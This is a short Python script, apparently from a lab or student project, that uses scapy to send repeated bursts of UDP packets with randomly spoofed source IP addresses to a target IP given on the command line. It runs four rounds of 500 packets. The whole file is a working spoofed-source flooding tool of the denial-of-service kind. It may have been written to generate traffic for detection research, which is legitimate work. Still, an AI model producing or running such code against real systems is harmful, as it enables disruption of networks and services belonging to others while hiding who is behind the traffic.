launchAttack.py

import sys
import time
from os import popen
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import sendp, IP, UDP, Ether, TCP
from random import randrange
import time
def sourceIPgen():

#this function generates random IP addresses


# these values are not valid for first octet of IP address

  not_valid = [10,127,254,255,1,2,169,172,192]

  first = randrange(1,256)


  while first in not_valid:
    first = randrange(1,256)
    print first
  ip = ".".join([str(first),str(randrange(1,256)), str(randrange(1,256)),str(randrange(1,256))])
  print ip
  return ip


def main():
  for i in range (1,5):
    mymain()
    time.sleep (10)
#send the generated IPs 
def mymain():

#getting the ip address to send attack packets 
  dstIP = sys.argv[1:]
  print dstIP
  src_port = 80
  dst_port = 1

# open interface eth0 to send packets
  interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()

  for i in xrange(0,500):
# form the packet
    packets = Ether()/IP(dst=dstIP,src=sourceIPgen())/UDP(dport=dst_port,sport=src_port)
    print(repr(packets))

# send packet with the defined interval (seconds) 
    sendp( packets,iface=interface.rstrip(),inter=0.025)

#main


if __name__=="__main__":
  main()